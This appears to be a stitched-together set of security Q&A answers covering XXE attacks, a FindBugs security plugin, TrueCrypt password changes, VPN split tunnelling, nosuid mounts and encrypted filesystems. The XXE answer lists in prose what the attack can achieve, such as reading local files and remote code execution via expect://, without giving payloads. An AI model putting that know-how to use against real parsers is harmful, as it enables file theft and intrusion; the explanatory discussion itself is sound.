XXE, or XML External Entity attacks, rely on the ability of XML entity definitions to refer to external resources.  When the document is parsed, those resources are retrieved, and then their contents are inserted into the document.  XML allows for any valid URI for the external entity reference, so you can do some pretty crazy things with this type of attack, including (but not limited to0;

Injecting the contents of files on the system doing the parsing that are readable by the parser into the document (using file:/// URI's).
Running Javascript code in some web browsers without loading a Javascript file (using javascript: URI's).
Remote ACE (using any number of specialty URI's, such as expect:// if the parsing is being done by a web server running PHP which has the PHP expect module installed).
Establishing temporary remote connections to arbitrary systems (using any URI that translates to a network access).
Lock up processing of the document (by using a URI that connects to an attacker controlled server which then takes a very long time to respond).

And that's just stuff I've seen done with it myself, in theory, you can do almost anything, because accessing a URI can translate to doing pretty much anything.


What Checkstyle or Findbugs rules detect common vulnerabilities?

To have a more complete set of rules, you could use the FindBugs plugin Find Security Bugs. It include 36 new detectors. Of course, the plugin generate some false positives, but you can always disable specific detectors.

Disclaimer : I'm the author of the tool mention


How much should I change my 64 character TrueCrypt password?

Why is now the time to change your password?

If your password has been compromised, then you really should create an entirely new one. Both character-level and semantic correlations between your old password and new password can reduce the attack space for a brute-force attack substantially. As others have pointed out, susceptibility to a brute force attack is really the only technical criteria you need to worry about when choosing passwords (of course, memorizability is another practical consideration).

If only part of your password has been compromised, and you're not storing any mission-critical information, then perhaps you can tolerate changing only a few characters, but you certainly are still more susceptible to a brute force attack.

If you're just performing some "spring cleaning" and want to refresh your password, think about whether the change is really necessary. If you think you're susceptible to a brute force attack, then you should change your password, but you'll probably need to change it pretty substantially to fix the flaw. Most brute force attack work by first targeting common passwords, and then modifying those common words with alterations (adding "!" to the end, substituting "@" for "a", etc...). Otherwise, if your password is otherwise secure and you've invested the time to memorize it, I don't see any reason to change it. That said, randomly changing a few characters of an otherwise-secure password shouldn't hurt you much, either.


Q1:  I'll echo this same question.  The closest I have found is Microsoft Direct Access but I haven't dug in to see if it is a viable solution.  Maybe that will get you started on the right path?

Q2:  If the user(admin) has admin rights to the PAW, nothing is safe from tampering.  You will need to configure the PAW so the administrators using it do not have administrative rights to it.

Q3:  I'm reaching here because I just don't know for sure, but I think if you use Direct Access you can force all network traffic to go through the VPN connection.  what you are trying to prevent is called "split-tunnel" where VPN traffic is only used for IP addresses associated with your org and everything else goes out the home internet...this is bad.

I hope that helps some even if it isn't a complete answer!


Filesystems can be mounted with setuid disabled. This is normally done on removable devices (because the administrator has no control over what the removable device contains) and on network filesystems (unless the filesystem is mounted from a trusted server). It is good practice to do it for all filesystems that aren't supposed to allow privilege escalation, such as a filesystem for temporary files.

Check the mount point where your setuid executable is located:

df /tmp

Chances are that on your machine, /tmp is a separate filesystem — you'll see /tmp in the “Mounted on” column. Check the mount options for /tmp; on Linux you can look them up in /proc/mounts:

grep /tmp /proc/mounts

If you see nosuid as one of the options in the fourth column, the filesystem is mounted with setuid and setgid disabled: ls still lists the bits and chmod still changes them, but they have no effect.

Do your experiments on another filesystem. /var/tmp is usually mounted on the same filesystem as / and that one needs setuid enabled for programs like (/usr)/bin/su and (/usr)/bin/sudo.

The setuid/setgid bits can also be disabled via a security framework such as SELinux. See this thread on ServerFault for how to investigate this.


Possible implementations of networked+encrypted filesystem

Sounds like what you're looking for is encfs. It's FUSE layer on top of any existing FS which encrypts and decrypts on-the-fly, storing the encrypted version in the underlying filesystem. The catch is that file metadata (ownership, sizes, times) is visible, but content and names are not.

You can also use --reverse to go the other way around: make an encrypted view of an unencrypted fs -- useful for making rsync-friendly encrypted backups.

EDIT TO ADD
As pointed out by Æsahættr, another usable option is eCryptfs. This is an in-kernel FS driver, which means root permission is required. But it's very low performance overhead and much faster then encfs in my own tests. While the implementation is quite a bit different between the two, the way you use them is nearly identical:

encfs /base_dir/ /view_dir/
# or
mount -t ecryptfs /base_dir/ /view_dir/

By default, encfs scrambles filenames while ecryptfs does not, but these options are configurable. Also, ecryptfs adds much more per-file overhead than encfs does because it stores metadata in the file itself, while encfs stores it in a hidden xml file. Also, the --reverse option that encfs has doesn't really translate well to ecryptfs; ecryptfs has ecryptfs_encrypted_view but it probably won't work the way you expect it to. Supposedly this is a work-in-progress.

Both can use any filesystem as a base; including, for example sshfs. But bear in mind that file ownership and permissions  are stored as-is on the base filesystem, which could mean access-denied errors if you don't match things up correctly, or losing permissions completely if you base on a FS that doesn't support them.


Automatically change connection of VPN when accessing certain websites

I suggest you use Split Tunnelling and use a different browser, then simply allow one browser to be off VPN connection.

Use that browser to access websites with your clear IP.

As for NordVPN, I just spoke with a rep and... there's no support for Split Tunnelling, but there's a browser extension that enables the VPN only for the browser, effectively allowing you to keep your direct IP for banking and such on another browser.